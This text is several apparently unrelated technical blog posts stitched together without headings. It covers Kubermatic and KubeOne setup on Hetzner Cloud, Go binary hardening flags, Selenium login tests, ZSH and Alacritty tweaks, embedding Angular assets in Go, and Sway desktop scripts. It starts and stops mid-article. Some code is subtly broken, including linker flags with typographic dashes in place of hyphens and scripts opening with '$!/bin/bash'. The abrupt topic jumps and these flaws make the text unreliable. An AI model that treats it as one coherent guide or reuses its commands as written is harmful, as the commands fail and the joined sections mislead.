NAME                               TYPE           CLUSTER-IP     EXTERNAL-IP   PORT(S)                      AGE
service/nginx-ingress-controller   LoadBalancer   10.97.231.63   <pending>     80:31765/TCP,443:30441/TCP   6m34s

This is because Kubermatic fails to provision the load balancer on Hetzner. You can fix this via adding an anotation to the nginx-ingress-controller: kubectl annotate service/nginx-ingress-controller -n nginx-ingress-controller load-balancer.hetzner.cloud/location=fsn1 (Note: change the location according to your datacenter).

With this change you should see a new LoadBalancer resource popping up in your Hetzner Cloud UI or via hcloud load-balancer list:

❯ hcloud load-balancer list
ID       NAME                               IPV4           IPV6                   TYPE   LOCATION   NETWORK ZONE
314817   master-lb                          49.12.22.127   2a01:4f8:c011:39b::1   lb11   fsn1       eu-central
314842   af0c41dbc2fab40699aa92d233a76233   49.12.20.106   2a01:4f8:c011:18a::1   lb11   fsn1       eu-central

(The one with the random name is our provisioned load balancer for the ingress). How does this work? This works via the Hetzner cloud controller manager. More information about this here: https://github.com/hetznercloud/hcloud-cloud-controller-manager/blob/master/docs/load_balancers.md.

If done, I recommend a new run with the kubermatic-installer:

❯ ./kubermatic-installer deploy --config examples/kubermatic.example.ce.yaml --helm-values examples/values.example.yaml --storageclass hetzner --kubeconfig ~/.kube/config 
INFO[15:39:42] 🛫 Initializing installer…                     edition="Community Edition" version=v2.16.10
INFO[15:39:42] 🚦 Validating the provided configuration…
WARN[15:39:42]    Helm values: kubermaticOperator.imagePullSecret is empty, setting to spec.imagePullSecret from KubermaticConfiguration
INFO[15:39:42] ✅ Provided configuration is valid.
INFO[15:39:43] 🧩 Deploying kubermatic stack…
INFO[15:39:43]    💾 Deploying kubermatic-fast StorageClass…
INFO[15:39:43]    ✅ StorageClass exists, nothing to do.
INFO[15:39:43]    📦 Deploying nginx-ingress-controller…
INFO[15:39:46]    ✅ Success.
INFO[15:39:46]    📦 Deploying cert-manager…
INFO[15:39:46]       Deploying Custom Resource Definitions…
INFO[15:39:46]       Deploying Helm chart…
INFO[15:39:51]    ✅ Success.
INFO[15:39:51]    📦 Deploying Dex…
INFO[15:39:55]    ✅ Success.
INFO[15:39:55]    📦 Deploying Kubermatic Operator…
INFO[15:39:55]       Deploying Custom Resource Definitions…
INFO[15:39:55]       Deploying Helm chart…
INFO[15:39:55]       Re-installing because --force is set…
INFO[15:39:57]    ✅ Success.
INFO[15:39:57]    📝 Applying Kubermatic Configuration…
INFO[15:39:57]    ✅ Success.
INFO[15:39:57]    📡 Determining DNS settings…
INFO[15:39:57]       The main LoadBalancer is ready.
INFO[15:39:57]
INFO[15:39:57]         Service             : nginx-ingress-controller / nginx-ingress-controller
INFO[15:39:57]         Ingress via IP      : 49.12.20.106
INFO[15:39:57]
INFO[15:39:57]       Please ensure your DNS settings for "cluster.shibumi.dev" include the following records:
INFO[15:39:57]
INFO[15:39:57]          cluster.shibumi.dev.    IN  A  49.12.20.106
INFO[15:39:57]          *.cluster.shibumi.dev.  IN  A  49.12.20.106
INFO[15:39:57]
INFO[15:39:57] 🛬 Installation completed successfully. Thank you for using Kubermatic ❤

This means our setup is ready. You should be able to login into Kubermatic now via the configured base domain. In my case that is cluster.shibumi.dev. The dex installation can be found on dex.<base domain> (if configured).

For your first steps in the UI you need to configure a project, then you can create a cluster but wait… there are no cluster providers, right? This is intended. You need to configure a seed cluster and the corresponding container storage interface (CSI) first. On smaller setups, like this one, we can use the master cluster as seed cluster. Do you remember the seed.example.yaml file in the kubermatic examples directory? This is where we go next.

Modify the file according to the comments:

1. Create a base64 encoding of your master kubeconfig: base64 -w0 ~/.kube/config
2. Paste the output into the first secret in the seed.example.yaml.
3. Modify the seed resource.

In the seed resource we have to specify our datacenters. We are using Hetzner, hence the configuration should look like this:

apiVersion: kubermatic.k8s.io/v1
kind: Seed
metadata:
  name: kubermatic
  namespace: kubermatic
spec:
  # these two fields are only informational
  country: DE
  location: Falkenstein

  # List of datacenters where this seed cluster is allowed to create clusters in
  # In this example, user cluster will be deployed in eu-central-1 on AWS.
  datacenters:
    hetzner-fsn1:
      location: Falkenstein 1 DC 8
      country: DE
      spec:
        hetzner:
          datacenter: fsn1-dc8
  # reference to the kubeconfig to use when connecting to this seed cluster
  kubeconfig:
    name: <name of your kubermatic master kubeconfig secret. For example kubeconfig-hetzner>
    namespace: kubermatic

As last step apply the new seed.example.yaml: kubectl apply -f seed.example.yaml. With the new seed cluster we can deploy the Hetzner CSI driver. For the Hetzner CSI driver we have to create a secret:

# secret.yml
apiVersion: v1
kind: Secret
metadata:
  name: hcloud-csi
  namespace: kube-system
stringData:
  token: YOURTOKEN

Deploy this secret via kubectl apply and continue with installing the Hetzner CSI driver: kubectl apply -f https://raw.githubusercontent.com/hetznercloud/csi-driver/v1.5.1/deploy/kubernetes/hcloud-csi.yml

Note: Make sure to have a look on their version compatibility matrix.

Now you should be able to select a provider in your Kubermatic installation. Click through the Kubermatic “Create a cluster”-dialog. If this fails, this might be because you are lacking nodes. Just scale up your master cluster with additional worker nodes. I recommend doing it via the kubeone.yaml + kubeone apply (declarative setup), but you can just do it imperative as well via: kubectl scale -n kube-system machinedeployment master-pool1 --replicas=2.

Congratulations! You have just created your first Kubernetes cluster via Kubermatic on Hetzner Cloud:

We made good experience on Arch Linux with the following flags so far:

• FULL RELRO (Full Relocation Read-Only)²
• STACK CANARY³
• NX-Bit⁴
• PIE (Position Independent Executable/Code)⁵
• Setting no RPATH⁶
• Setting no Symbols
• FORTIFY⁷

Some of these flags are known to have effects on performance. A ‘call for assistance’⁸ in 2016 tried to measure these effects via running different operations with executables that have above flags enabled. The project⁹ delivered good results¹⁰ and we decided to enable these flags.

For validating ELF executables we use the tool checksec.sh. The follows snippet shows the example output of check-sec --file=/usr/bin/kubectl with kubectl version 1.21.3-1 on Arch Linux:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        Yes   2               3               /usr/bin/kubectl

We achieved a fully hardened kubectl binary via the following methods:

1. We set CGO flags for passing enhanced security flags to the compiler:

export CGO_CPPFLAGS="${CPPFLAGS}"
export CGO_CFLAGS="${CFLAGS}"
export CGO_CXXFLAGS="${CXXFLAGS}"
export CGO_LDFLAGS="${LDFLAGS}"

These flags are:

• CPPFLAGS=”-D_FORTIFY_SOURCE=2”
• CFLAGS=”-march=x86-64 -mtune=generic -O2 -pipe -fno-plt”
• CXXFLAGS=”-march=x86-64 -mtune=generic -O2 -pipe -fno-plt”
• LDFLAGS=”-Wl,-O1,–sort-common,–as-needed,-z,relro,-z,now”

2. We compile our Go packages with the following GOFLAGS:

export CGO_ENABLED=1
export GOFLAGS="-buildmode=pie -trimpath -mod=readonly -modcacherw"
export GOLDFLAGS="-linkmode=external"

Explanation for each flag:

• CGO_ENABLED needs to be set to 1 for most of the features.. this can make binary distribution problematic.
• -buildmode=pie enables PIE compilation for binary harderning.
• -trimpath important for Reproducible Builds so full build paths and module paths are not embedded.
• -mod=readonly ensure the module files are not updated in any go actions.
• -modcacherw is not important, but it ensures that go modules creates a write-able path. Default is read-only.
• -linkmode=external ensure we use an external linker, because the Go linker is not capable of all operations that are necessary.

Our full Go package guidelines can be found in our Wiki¹¹. This article has been heavily influenced by and partly copied from an issue in the CNCF/tag-security repository

As usual, first a few questions:

• What is automated website testing?
• What is Selenium?
• Why do I need all of this?

If you or your company works with websites you usually find yourself in the same situation over and over again. You work on a new feature, you push it and … you hope that nothing breaks. Most cases can be catched via traditional unit testing on the code layer, but sometimes you want end-to-end tests. End-to-end means in this context that you test the actual behavior of the website. You takeover the role of the customer or visitor and you verify that everything works as expected. This work can be toilsome and tedious, because if you do many websites or if you have a fast development cycle you will find yourself over and over in the situation that you need to test the website manually. Automated website testing tries to solve this problem and Selenium is the biggest library (correct me I am wrong) that helps achieving this goal.

With Selenium you can simulate everything:

• Different browser versions
• Different operating system versions
• Different browsers (Firefox, Chrome, …)
• You can even do things that have nothing to do with testing (automating website visits or pentesting for example)

If I recall correctly, you can even insert some chaos and/or performance glitches.

I do not want to talk too much so let us dive directly into some code. All code can be found at https://github.com/shibumi/selenium-demo/.

First, you need a webdriver. The most common webdrivers are the geckodriver (by Mozilla/Firefox) and the chromedriver (by Google). For the next code snippets you need to have have the webdriver in your PATH (I recommend using the geckodriver, because it is in the Arch Linux repositories).

Our first example is really easy one. We will just connect to a website and get its title. The title is being displayed in the browser tab. The following code consists of everything what you need for your first selenium experience. I use the unittest library here, because I am used to it, but of course you can just call your own functions. However, the unittest library has a few advantages. Every function that start with a test will get executed automatically. In my example the function test_title is expecting a string and compares it to the title in the variable self.browser.title. On success we return True on failure we return False. Executing this example gives us nice output via the unittest library (so much about its advantages).

import unittest
from selenium import webdriver

class TestMain(unittest.TestCase):

    @classmethod
    def setUpClass(cls):
        cls.browser = webdriver.Firefox()
        cls.browser.get("https://shibumi.dev")

    @classmethod
    def tearDownClass(cls):
        cls.browser.quit()

    def test_title(self):
        expected = "Christian Rebischke"
        if self.browser.title != expected:
            print("invalid title got {}, but want {}".format(self.browser.title, expected))
            return False
        return True

if __name__ == "__main__":
    unittest.main()

But what about the other two methods? The other two methods are class methods in the context of the unittest library. We cannot utilize the __init__ method for initializing the class TestMain at this point, because it is already being used internally by the library (well, we could overwrite.. but this would get ugly). Hence, we are defining two class methods in the context of TestMain (recognizable by the @classmethod attribute and the cls argument). These two methods take care of setting up and tearing down our test environment. The methods setUpClass and tearDownClass get executed exactly once, even if we have more than one test. Using these two methods gives us the possibility to create a test environment. In this example we define our webdriver (firefox) and do a first website call via the HTTP method GET. In our first test test_title we just compare the title. The tearDownClass method closes the browser. Why closing? If you execute this snippet you will see how firefox calls my blog. The last two lines just start the test routine.

So what about a more complicated example. Our next example will utilize a demo website by Sauce Labs https://saucedemo.com. If you have a closer look on it, it does not look that different. In setUpClass we initialize the browser and a few variables (passwords, usernames, valid URLs). We have four new methods in this code. Two helper methods and two test methods. The helper methods do not need to start with helper, I just named them like this, because I thought it is easier to read. We remember, everything what starts with test gets executed. Additionally, we have two new test methods called test_valid_logins and test_invalid_logins. Both methods make use of the helper methods for the login and logout. In these four methods we see seleniums full potential. We can directly refer to elements in the website’s HTML code and we can submit actions on that website (sending keys or clicking a button). With the first function we select the target and with the chained function we can directly call an action on that item. For example, if we want to fill out a form that asks for the username and the password, we simply look via the browser’s dev tools for the IDs of these elements. In Chromium this works via ctrl+shift+I for opening the dev tools and ctrl+shift+c for inspecting elements via the mouse. If you click on those elements in the inspection mode the corresponding element will be highlighted on the right revealing the id. The same works for CSS classes. Just select the element, for example an error button (like in the test_invalid_login method) and use the find_element_by_css_selector method for executing actions on that element.

import unittest
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.select import Select

class TestMain(unittest.TestCase):

    @classmethod
    def setUpClass(cls):
        cls.base_url = "https://www.saucedemo.com/"
        cls.browser = webdriver.Firefox()
        cls.browser.get(cls.base_url)
        cls.password = "secret_sauce" # one password for all users
        cls.valid_users = ["standard_user", "problem_user", "performance_glitch_user"]
        cls.invalid_users = ["locked_out_user"]
        cls.valid_url = "/inventory.html"

    @classmethod
    def tearDownClass(cls):
        cls.browser.quit()

    def helper_login(self, user, password):
        self.browser.find_element_by_id('user-name').send_keys(user)
        self.browser.find_element_by_id('password').send_keys(password)
        self.browser.find_element_by_id('login-button').click()

    def helper_logout(self):
        self.browser.find_element_by_id('react-burger-menu-btn').click()
        self.browser.find_element_by_id('logout_sidebar_link').click()

    def test_valid_logins(self):
        for user in self.valid_users:
            self.helper_login(user, self.password)
            if self.valid_url not in self.browser.current_url:
                return False
            self.helper_logout()

    def test_invalid_logins(self):
        for user in self.invalid_users:
            self.helper_login(user, self.password)
            if not self.browser.find_element_by_css_selector('.error-button').is_displayed():
                # if we accidently login logout
                if self.valid_url in self.browser.current_url:
                    self.helper_logout()
                self.browser.get(self.base_url)
                return False
            self.browser.get(self.base_url)

    def test_connection(self):
        expected = "Swag Labs"
        if self.browser.title != expected:
            print("Title is invalid")
            return False
        return True

if __name__ == "__main__":
    unittest.main()

This is the blog article for today. It got a little bit longer as expected and I am writing this down at 02:30AM, so forgive me a few grammar or spelling mistakes. If you find mistakes or even better, you have some cool advice for me regarding Selenium, feel free to drop me an email. I would be happy to hear some tricks.

As Site Reliability Engineer I am not really responsible for website testing, but I consider this topic as helpful in propagating a culture of less toil and more automation. Site Reliability Engineering itself might be a nice topic for one of my next blog articles. Stay tuned!

Let us start with the ZSH features. You can find the full configuration for my Z shell on Github: https://github.com/shibumi/hikari.

What problem do I want to solve with my configuration? You might found yourself in a situation where you wanted to quickly surround a word with single or double quotes. Just imagine a long URL with some special characters. Of course it is possible to quickly move around with the ctrl+arrow keys or alt+arrow keys, but there is a even faster solution: The ZSH command line editor (zshzle).

With zshzle you can modify the current ZSH buffer directly. This means that you are able to define custom shortcuts for custom operations. For example the following snippet will print the current date directly in the ZSH commandline via pressing ctrl+x and then d:

function insert-datestamp () { LBUFFER+=${(%):-'%D{%Y-%m-%d}'}; }
zle -N insert-datestamp
bindkey "^xd" insert-datestamp

The first line defines a function that modifies the LBUFFER. This is everything left of your cursor. We use the LBUFFER to extend the LBUFFER with the current date in the format 2021-05-22. The second line activates the extension and the third line binds the extension to a shortcut. The shortcut “^xd” means ctrl+x and then d.

I have created the following extensions so far:

• inserting the current date
• adding a sudo in front of the command line
• jumping after the first word. Very useful for inserting flags
• surrounding words with single or double quotes
• deleting everything between single or double quotes
• copying the last word. Very useful in situations like: cp foobar.txt foobar.txt.bak.
• insert the last modified file. Useful for big folders and finding the last modified file automatically.

My github repository has a few gifs. Go check them out, they give a good feeling for the features. Additionally, I can totally recommend writing your own ZSH configuration from scratch. You will learn a lot while doing so and the prompt will react faster, too. Some other features of my ZSH configuration:

• simple prompt that works on every system (no special icons needed)
• loading of ZSH plugins like zsh-syntax-highlighting
• skim support (fuzzy-search for history or directory jumps. I love it)
• Tab completion of course

The next topic is about the new Alacritty regex hints. With Alacritty 0.8.0 you are able to match on custom regex on your current buffer. The buffer consists of everything what you can see in the terminal.

Just think about how often you copy-pasted an IP address manually with your mouse. You have to take your hand off from the keyboard.. move with the cursor on it.. click on it.. maybe even copy it (or have it directly in your buffer) then move back and paste it. With Alacritty’s new regex hints this can be done automatically. The Alacritty configuration for this looks like this:

hints:
  enabled:
    - regex: '([0-9a-f]{12,128})|([[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3})'
      action: Copy
      post_processing: false
      binding:
        key: U
        mods: Control|Shift

If you reload Alacritty with this configuration and you see an IP address on your buffer, just press ctrl+shift+u and you will see little flags near the IP addresses. Press the button on your keyboard and you will trigger the defined action. In this case the IP address will get copied to the clipboard, but you can directly paste it or choose a custom command, too. For custom commands just replace action: Copy with command: chromium and it will open the matched word in the browser.

How is this useful? I use this for many cases. My regex consists of the following sub regexes right now:

• Kubernetes Resources (very useful for copying resources and then inspecting them. Pro tip: use kubectl get resource --show-kind=true)
• UUIDs
• IP addresses
• long hex strings
• URLs

If you come up with more ideas, feel free to write me. My full Alacritty configuration can be found here: https://github.com/shibumi/dotfiles/blob/master/.config/alacritty/alacritty.yml

The screenshot shows a few hints in action (IP addresses, UUIDs, kubernetes resources and hex strings):

For this article I have picked a github project: https://github.com/Shpota/go-angular. Sasha’s project is an excellent example on how we can make use of the new embed package.

The project consists of two important directories:

• server: includes all Go code
• webapp: includes the Angular App

Getting more into frontend development has been one of my main goals with this article, hence forgive me if I write something wrong about it. The Angular app can be build with the following commands:

$ cd webapp
$ npm install
$ ./node_modules/.bin/ng build --prod

On default, this will produce a dist directory storing the ‘compiled’ Angular project. In Sasha’s version Sasha served this assets via a http.Fileserver:

func (a *App) start() {
	a.db.AutoMigrate(&student{})
	a.r.HandleFunc("/students", a.getAllStudents).Methods("GET")
	a.r.HandleFunc("/students", a.addStudent).Methods("POST")
	a.r.HandleFunc("/students/{id}", a.updateStudent).Methods("PUT")
	a.r.HandleFunc("/students/{id}", a.deleteStudent).Methods("DELETE")
	a.r.PathPrefix("/").Handler(http.FileServer(http.Dir("./webapp/dist/webapp/")))
	log.Fatal(http.ListenAndServe(":8080", a.r))
}

The disadvantage of this approach is that you will end up with a Go binary and a separate, dedicated webapp/dist/webapp directory with all static asset files. This might does not matter if you plan to serve your application in a Docker image anyway, but a single Go binary can be useful sometimes for other deployment scenarios.

Therefore I made a few modifications to use the new Go 1.16 embed package with this project. If you like to skip directly to my changes feel free to check out the following link: https://github.com/shibumi/go-angular.

First of all I have changed the output path for the Angular generated assets in the angular.json file via setting "outputPath": "../server/static". With this change Angular will move the static assets to a new static directory inside of the server directory. Why do we need this? We need this, because the embed package does not support ../, ./ or leading slashes, hence we cannot import data from the webapp (one possible solution is to place a Go file in the webapp directory, but I have not tried this).

The next change I made was a slightly modification of the app.go file:

// first I introduced a new global variable
//go:embed static
var static embed.FS

// .....

// Then I modified the start() function accordingly:

func (a *App) start() {
	a.db.AutoMigrate(&student{})
	a.r.HandleFunc("/students", a.getAllStudents).Methods("GET")
	a.r.HandleFunc("/students", a.addStudent).Methods("POST")
	a.r.HandleFunc("/students/{id}", a.updateStudent).Methods("PUT")
	a.r.HandleFunc("/students/{id}", a.deleteStudent).Methods("DELETE")
	// We need to strip the static directory from our path
	// for serving files in the index folder via the http.Fileserver()
	webapp, err := fs.Sub(static, "static")
	if err != nil {
		fmt.Println(err)
	}
	// We need to use Gorilla Mux' PathPrefix function here, because the Pathprefix
	// adds a wildcard to the route eg: /*, otherwise we would only route to "/"
	// Hence the error with 404-returning JS files before got thrown, because
	// Gorilla Mux had no route to these JS files.
	a.r.PathPrefix("/").Handler(http.FileServer(http.FS(webapp)))
	log.Fatal(http.ListenAndServe(":8080", a.r))
}

What is happening here? First I introduced a new global variable called static with type embed.FS. The important part about this change is the go preprocessor-like statement before the variable declaration. With //go:embed static we explain the Go compiler to embed the static directory in the current directory via the embed package. Note: the missing space between // and go is important here! The next modification is the start() function. We are now serving content from a directory, for example: static/index.html, thus we need to strip the static directory name from it. This happens via the fs.Sub method. The last change is the use of http.FS instead of http.Dir. We are dealing with a filesystem now, not a local directory anymore. If we now compile the Angular app and compile our Go binary the Angular generated assets will get included into our Go binary and we have a single binary for deployment.

A few other changes I made were replacing the postgres driver against a sqlite (because i was lazy and just wanted a DB) and a new Dockerfile. The new Dockerfile makes use of Google’s distroless docker image. Distroless images are basically like docker scratch images, with the difference that they provide tzdata and ca-certificates and other data applications might need. Everything else (libraries, shells, busybox utils, etc) is missing in these images. The final Dockerfile looks like this:

FROM node:12.11 AS ANGULAR_BUILD
RUN npm install -g @angular/cli@8.3.12
COPY webapp /webapp
WORKDIR webapp
RUN npm install && ng build --prod

FROM golang:1.16 as GO_BUILD
WORKDIR /go/src/app
ADD server /go/src/app
COPY --from=ANGULAR_BUILD /server/static /go/src/app
RUN go build -o /go/bin/app

FROM gcr.io/distroless/base
COPY --from=GO_BUILD /go/bin/app /
CMD ["/app"]

• Operating System: Arch Linux
• Window Manager: Sway
• Status bar: Heavily customized Barista bar
• Screenshots: Bash script utilizing Grim + Slurp
• Screen recordings: Bash script utilizing wf-recorder
• Sharing Text: Bash script utilizing wl-clipboard
• Dynamic Menu: bemenu
• Password Management: A combination of gopass, bemenu and bash
• Screensharing: xdg-desktop-portal-wlr + pipewire

You can find my full setup in my dotfiles repository on Github.

Let us have a quick look on the whole setup from above bullet point per bullet point.

Sway

My sway setup is not so special. I use mako for notifications, kanshi for dynamic display configuration and a few other scripts. The full sway config can be found here: https://github.com/shibumi/dotfiles/blob/master/.config/sway/config

Status bar

Barista is a Framework written in Go for writing i3-compatible status bars. The framework should cover most functionality you are looking for and if you want additional features you can easily execute scripts via this framework or extend it by pure Go code. However I would only suggest this framework for people who feel comfortable with Go. The configuration process can be tedious and I am still missing 1-2 features I would like to have. If you have everything you need Barista is definitely way faster than your usual status bar that just executes bash scripts. Here is a small snippet from my status bar that is showing the current Yubikey state:

	barista.Add(yubikey.New().Output(func(gpg bool, u2f bool) bar.Output {
		if u2f {
			out := outputs.Text("U2F")
			out.Color(colors.Scheme("degraded"))
			return out
		}
		if gpg {
			out := outputs.Text("GPG")
			out.Color(colors.Scheme("degraded"))
			return out
		}
		return nil
	}))

If you are interested in the full code you can find it here: https://github.com/shibumi/ryoukai/blob/master/main.go

Screenshots

For triggering screenshots I use this short script:

#!/bin/bash
readonly SCREENSHOTDIR="$HOME/.cache/screenshot"

if [[ ! -e "$SCREENSHOTDIR" ]]; then
  mkdir -p "$SCREENSHOTDIR"
fi
readonly TIME="$(date +%Y-%m-%d-%H-%M-%S)"
readonly IMGPATH="$SCREENSHOTDIR/img-$TIME.png"
grim -g "$(slurp)" "$IMGPATH"
share "$IMGPATH"

The script just takes a screenshot via slurp and grim, puts the screenshot in a directory in my home directory and triggers my share-script. The share script just handles notifications and uploads it to my webserver via SSH and copies the link to it in my clipboard. The full share-script can be found here: https://github.com/shibumi/dotfiles/blob/master/.local/bin/share

Screen recordings

For screen recordings I have a script called videoshot-wl. It is a little bit more complicated than the script for taking screenshots. It makes use of slurp and wf-recorder and it works the following way:

1. The script gets triggered and spawns a sub shell. This sub shell is recording the screen.
2. If the scripts gets triggered again the sub shell will get killed, the recording proccess stopped and the recording uploaded to my webserver.

In bash this looks like this:

#!/bin/bash
readonly VIDEOSHOTDIR="$HOME/.cache/videoshot"

if [[ ! -e $VIDEOSHOTDIR ]]; then
  mkdir -p "$VIDEOSHOTDIR"
fi

readonly PIDPATH="$VIDEOSHOTDIR/videoshot.pid"
readonly RESOURCEPATH="$VIDEOSHOTDIR/videoshot.txt"

if [[ ! -f "$PIDPATH" ]]; then
  readonly TIME="$(date +%Y-%m-%d-%H-%M-%S)"
  readonly VIDPATH="$VIDEOSHOTDIR/rec-$TIME.mp4"
  (
    wf-recorder -g "$(slurp)" -f "$VIDPATH" &
    echo "$!" >"$PIDPATH"
    echo "$VIDPATH" >"$RESOURCEPATH"
    notify-send "Start recording" "$VIDPATH"
    readonly PID="$(cat $PIDPATH)"
    wait "$PID"
    readonly VIDPATH="$(cat $RESOURCEPATH)"
    if [ ! -f "$VIDPATH" ]; then
      notify-send "Recording aborted"
    else
      share "$VIDPATH"
    fi
    rm "$PIDPATH"
    rm "$RESOURCEPATH"
  ) &
else
  readonly PID="$(cat $PIDPATH)"
  kill -SIGINT "$PID"
fi

The uploading process happens in my share script.

Sharing text

Sharing text is very simple again. For sharing text I just copy it in my clipboard (this happens already when marking something in my terminal) and then I use my textshot-wl script:

#!/bin/bash
readonly TEXTSHOTDIR="$HOME/.cache/textshot/"

if [[ ! -e "$TEXTSHOTDIR" ]]; then
  mkdir -p "$TEXTSHOTDIR"
fi
readonly TIME="$(date +%Y-%m-%d-%H-%M-%S)"
readonly TEXTPATH="$TEXTSHOTDIR/text-$TIME.txt"
wl-paste >"$TEXTPATH"
share "$TEXTPATH"

The script is just writing everything in my clipboard into a text file and uploads it. The webserver will then show the text file as it is. The disadvantage of this approach is clearly that I will have no additional features like comments or syntax highlighting (I miss this sometimes). If I really need those features I use gist

Dynamic menu

My dynamic menu for starting programs is just a customized execution of bemenu:

#!/bin/bash
bemenu-run -i --hb "#151718" --tb "#151718" --nb "#151718" --hf "#9FCA56" --tf "#9FCA56" --fb "#151718" --fn "font pango:inconsolata 8" "$@" -m "$(swayfocused)" -p ">"

Password management

I have direct access to my password manager via bemenu and gopass. Via bemenu I choose the password entry (fuzzy search, yeah), then the script will trigger gopass and then the output of gopass will get copied for one-time use in my wayland clipboard:

$!/bin/bash
source "${HOME}/.local/share/scripts/bemenu"

input=$(gopass list -f | _bemenu -p "gopass")
printf '%s' "$(gopass show -o "$input")" | wl-copy --paste-once

The interesting part here is the one-time usage. I can use this password in the clipboard only once. If I paste it, it will instantly get deleted from my clipboard. This also means that this currently only works in Wayland applications (one of the reasons why I use this script less than I should).

Small addition: I have a similar script for pasting OATH codes from my yubikey:

$!/bin/bash
source "${HOME}/.local/share/scripts/bemenu"

input=$(ykman oath list | _bemenu -p "oath")
oath=$(ykman oath code -s "$input")
echo "$oath" | wl-copy --paste-once

Update (2021-03-14)

I always thought that wl-copy --paste-once does not work in the browser, because the browser was not Wayland-native. Turns out even with Wayland-native browsers you will encounter the same bug. This seem to be related to https://github.com/bugaevc/wl-clipboard/issues/107. I decided to fix this issue for me via using a timer and wl-copy --clear instead of wl-copy --paste-once:

The new script for triggering bemenu looks like this:

#!/bin/bash
source "${HOME}/.local/share/scripts/bemenu"

input=$(gopass list -f | _bemenu -p "gopass")
printf '%s' "$(gopass show -o "$input")" | wl-copy
sleep 5
wl-copy --clear

Screen sharing

Screen sharing is a bigger topic. I really had a lot(!) issues with it over the last months, especially in combination with Microsoft Teams and other enterprise-ish software. Nevertheless I think I have found a stable solution for it a few days ago.

What you need is:

• chromium or Firefox with WebRTC pipewire support (you need to enable this in chromium)
• xdg-desktop-portal-wlr
• pipewire + libpipewire02 + pipewire-media-session

First make sure that the pipewire-media-session service is enabled and running for your user. The devs of xdg-desktop-portal-wlr say that you normally do not need it, but for some strange reasons you will need the a running pipewire-media-session service:

$ systemctl enable --user pipewire-media-session.service

Furthermore you need to set the following environment variable: XDG_CURRENT_DESKTOP=sway. I do this via my .config/environment.d/envvars.conf-file:

EDITOR=nvim
PAGER=less
SSH_AUTH_SOCK="$XDG_RUNTIME_DIR/ssh-agent.socket"
IBUS_SOCK="$XDG_RUNTIME_DIR/ibus.socket"
TERM="xterm-256color"
GOPATH=$HOME/go
GOBIN=$HOME/go/bin
_JAVA_AWT_WM_NONREPARENTING=1
_JAvA_OPTIONS="-Dawt.useSystemAAFontSettings=on -Dswing.aatext=true"
JAVA_FONTS=/usr/share/fonts/TTF
KUBECONFIG="$(find ~/.kube/configs/ -type f -exec printf '%s:' '{}' +)"
XDG_CURRENT_DESKTOP=sway
XDG_SESSION_TYPE=wayland

This file sets all of my environment variables and gets automatically loaded by systemd on login. If you have the environment variable and a working pipewire-media-session service everything else should work out of the box.

Update (2021-03-14T14:41)

Right now it is not possible to directly select the output for the screen sharing in the browser. You can work around this issue via this little script here:

#!/bin/bash
source "${HOME}/.local/share/scripts/bemenu"

input=$(swaymsg -t get_outputs | jq -r '.[].name' | _bemenu)
/usr/lib/xdg-desktop-portal -r & /usr/lib/xdg-desktop-portal-wlr -r -o "$input" &

This script allows me to select the screen for screen sharing. I just have to remember that I need to trigger this script before sharing my screen. The preview window in the web browser will then show the correct screen preview. The disadvantage from this method is that you need to know your monitors name. If you find a better solution for this let me know.

Update (2021-03-14T15:11)

One user on Reddit suggested that I should use slurp instead of bemenu for the selection. And indeed this makes selection way easier, because you do not need to remember the monitor output name:

The update script is this two-liner here:

#!/bin/bash

input=$(slurp -o -f "%o")
/usr/lib/xdg-desktop-portal -r & /usr/lib/xdg-desktop-portal-wlr -r -o "$input" &

Update (2021-04-21T22:46)

With xdg-desktop-portal-wlr version 0.3.0 it is necessary to import the user environment in your sway session. You can do this via adding the following line to your sway configuration:

exec "systemctl --user import-environment"

If xdg-desktop-portal-wlr does not work for some reason try checking the environment variables for the xdg-desktop-portal process. You need to have WAYLAND_DESKTOP and XDG_CURRENT_DESKTOP variables in the environment of the xdg-desktop-portal process: cat /proc/$(pidof xdg-desktop-portal)/environ.

With version 0.3.0 xdg-desktop-portal-wlr is also being able to start a desktop chooser command. Just place the following configuration file in $XDG_CONFIG_HOME/xdg-desktop-portal-wlr/config:

[screencast]
output_name=
max_fps=30
chooser_cmd="slurp -f %o -o"
chooser_type=simple

This will start up the chooser automatically and using my little helper script before is no longer necessary.

Update (2021-06-17T00:09)

The above xdg-desktop-portal-wlr version will not work, because xdg-desktop-portal-wlr changed their parser. If you are using this configuration and if you are wondering that it stopped working you need to change the chooser_cmd line to slurp -f %o -o without double quotes. The full configuration should look like this:

[screencast]
output_name=
max_fps=30
chooser_cmd=slurp -f %o -o
chooser_type=simple

I hope you will give this tutorial a chance and I promise that you will not regret it. You will definitely learn something from it. For the beginning you need the following ingredients for mixing your first Kubernetes cluster with Hetzner flavor:

• A Hetzner Cloud account
• KubeOne
• Terraform
• Basic understanding of Kubernetes and Linux

The first and the last is something I assume that you already have. Installing KubeOne and Terraform should be easy on Arch Linux. You can just install it from the repositories (I am maintaining them hrhr):

$ pacman -Syu terraform kubeone

Furthermore I suggest that you clone the KubeOne repository. It has some great examples for Hetzner and gives you a first insight on what you can do with it and what not:

$ git clone https://github.com/kubermatic/kubeone

If you are in the Hetzner Cloud console I suggest that you create a new project for playing around (Just in case we screw things up). For this new project you need a new API token. Again, I assume that you know how to do this. The token needs read and write permissions. First we move in the freshly cloned repository and investigate the files in it:

$ cd kubeone/examples/terraform/hetzner
$ ls
.rw-r--r-- 2.6k chris 17 Dec  2020 main.tf
.rw-r--r-- 2.4k chris 17 Dec  2020 output.tf
.rw-r--r-- 1.8k chris 17 Dec  2020 README.md
.rw-r--r-- 1.9k chris 25 Jan 22:01 variables.tf
.rw-r--r--  131 chris 17 Dec  2020 versions.tf

The README.md file gives us a brief explanation about inputs and outputs and gives us hints about loadbalancers. The versions.tf file tells us the required Terraform version and the required providers. In our case the cloud provider is hcloud. The variables.tf file defines all variables for our new cluster infrastructure. The output.tf file defines the output of Terraform. This will get important later, because we will use the output as direct input for KubeOne. The main.tf file hides the core logic behind all of this. The main.tf file is reponsible for bootstrapping the infrastructure. In this file we see networks, ssh keys, loadbalancers and virtual machines defined. I do not want to explain Terraform in detail here. If you are interested in this I suggest you have a look on the excellent terraform registry documentation. It gives you a nice introduction for each resource. You do not have to edit one of these files. They are ready to go as they are.

For provisioning the infrastructure we can do the following:

